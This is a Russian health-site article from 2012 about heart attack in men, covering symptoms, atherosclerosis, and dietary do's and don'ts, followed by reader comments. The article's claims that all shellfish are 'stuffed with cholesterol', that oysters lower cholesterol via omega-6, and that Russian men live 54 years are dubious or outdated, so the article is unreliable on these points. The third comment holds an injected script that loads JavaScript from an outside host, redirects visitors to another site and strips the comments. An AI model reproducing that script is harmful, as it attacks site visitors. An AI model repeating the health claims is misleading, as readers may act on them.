Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  От чего умирают мужчины  >>  От чего умирают мужчины
 
Обратная связь
 

От чего умирают мужчины

Размер шрифта
19 февраля 2012 10:00
  • google_analytics: false
  • Нравится

Отчего умирают мужчины, если они не на войне? В этой статье мы поговорим об одной из главных причин преждевременной смерти мужчин – инфаркте миокарда.

1

Инфаркт миокарда – форма ишемической болезни сердца, которая развивается из-за нарушения кровоснабжения участка сердечной мышцы (миокарда), что приводит к ишемическому некрозу этого участка.

Классические симптомы:

  • загрудинная боль жгучего или давящего характера
  • перемещается в прекардиальную область (левую сторону груди)
  • довольно часто боль отдает в спину

Скрытые симптомы:

  • боль в нижней челюсти
  • боль в эпигастральной области
  • затруднение дыхания, одышка при отсутствии боли в сердце

Причины развития

Инфаркт миокарда развивается в результате закрытия просвета сосуда, снабжающего кровью миокард. Самой часто встречаемой причиной инфаркта миокарда является атеросклероз коронарных сосудов. Атеросклероз – это хроническое заболевание артерий, при котором стенки сосудов уплотняются, в результате формирования на них жировых отложений в виде атероматозных бляшек из холестерина.

Холестерин – жировое вещество, которое транспортирует все жиры в организме, если холестерина много, то он всегда переносит жир внутрь клетки. В результате, развивается инфаркт миокарда, инсульт и даже гангрена ноги.

Продукты, которые мужчинам есть нельзя

Продукты, вызывающие атеросклероз:

  • животные жиры (жирное мясо, сливочное масло и др.)
  • переработанные мясные продукты (копчености, колбасы и др.)
  • кожа курицы и рыбы
  • креветки, раки, лобстеры, омары и другие панцирные.

Не все знают, что панцирные морепродукты опасны. А это именно так. Нельзя есть все, что имеет панцирь - креветки, раки, лобстеры, омары и др., потому что жир, который содержится в таких морепродуктах, очень вреден. Помните, что любой морепродукт, имеющий панцирь – это панцирь набитый холестерином.

Когда мы едим такие продукты, холестерин, который в них содержится, и липопротеиды низкой плотности переносят все жиры внутрь клеток. И если это клетки сосудов, то в сосудах образуются атеросклеротические бляшки. В случае с сосудами мозга развивается инсульт, а с сосудами сердца – инфаркт миокарда.

Продукты, которые мужчинам есть можно

Итак, теперь мы знаем те продукты, которые вызывают атеросклероз, а какие же продукты помогают бороться с этим заболеванием? И что нужно есть, чтобы обеспечить профилактику атеросклероза?

Для профилактики атеросклероза нужно есть:

  • океаническую жирную рыбу: скумбрию, сельдь, сардины, семгу, жиры в них очень близки липопротеидам высокой плотности, которые выводят жир из клеток;
  • морские продукты в раковинах (устрицы, мидии), т.к. они обогащены омега-6 полиненасыщенными кислотами и не только не повышают уровень холестерина, но и способствуют его снижению;
  • овсяную крупу, бурый рис, муку грубого помола, чтобы увеличить содержание клетчатки, которая чистит наш организм от холестерина;
  • яблоки, сливы, арбузы из-за содержания пектина.

Идеальным питанием может стать известная средиземноморская диета: много овощей и фруктов, океанической (морской) рыбы, морепродуктов в раковинах, исключение из рациона красного мяса и его замена на куриное, которое полезнее, также на столе может присутствовать красное вино.

Доказано, что именно такое питание снижает уровень холестерина в организме мужчин и не дает развиваться атеросклерозу. В результате – средняя продолжительность жизни мужчин, питающихся таким образом гораздо выше, чем в России. К примеру, в Израиле принято питаться по всем параметрам средиземноморской диеты. При таком питании средняя продолжительность жизни израильских мужчин – 79 лет. Теперь представьте русское застолье: обилие жирное пищи, красного мяса, колбас, углеводов, недостаток свежих овощей и много водки, поэтому средняя продолжительность жизни русских мужчин всего 54 года.

Помимо перечисленных факторов на здоровье мужчин и развитие у них инфаркта миокарда влияет образ жизни. В группе риска по инфаркту миокарда находятся те мужчины, которые курят, имеют лишний вес, повышенный сахар в крови и высокое давление.

Это – веский довод, чтобы задуматься о своем здоровье пока не поздно. Мужчины, берегите себя!
 

Сюжет по теме:
Мужчины. Кто рискует умереть

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - starless

20 февраля 2012 в 17:48

Цитировать   |   Пожаловаться

"Средняя продолжительность жизни русских мужчин всего 54 года".

 Зачем публиковать давно устаревшие данные?

starless 20 февраля 2012 в 17:48
 Зачем публиковать давно устаревшие данные?
 Статья публицистическая, допустимо неточное соответствие последним статистическим данным. 

3 - zzzzzz

30 июня 2015 в 23:54

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.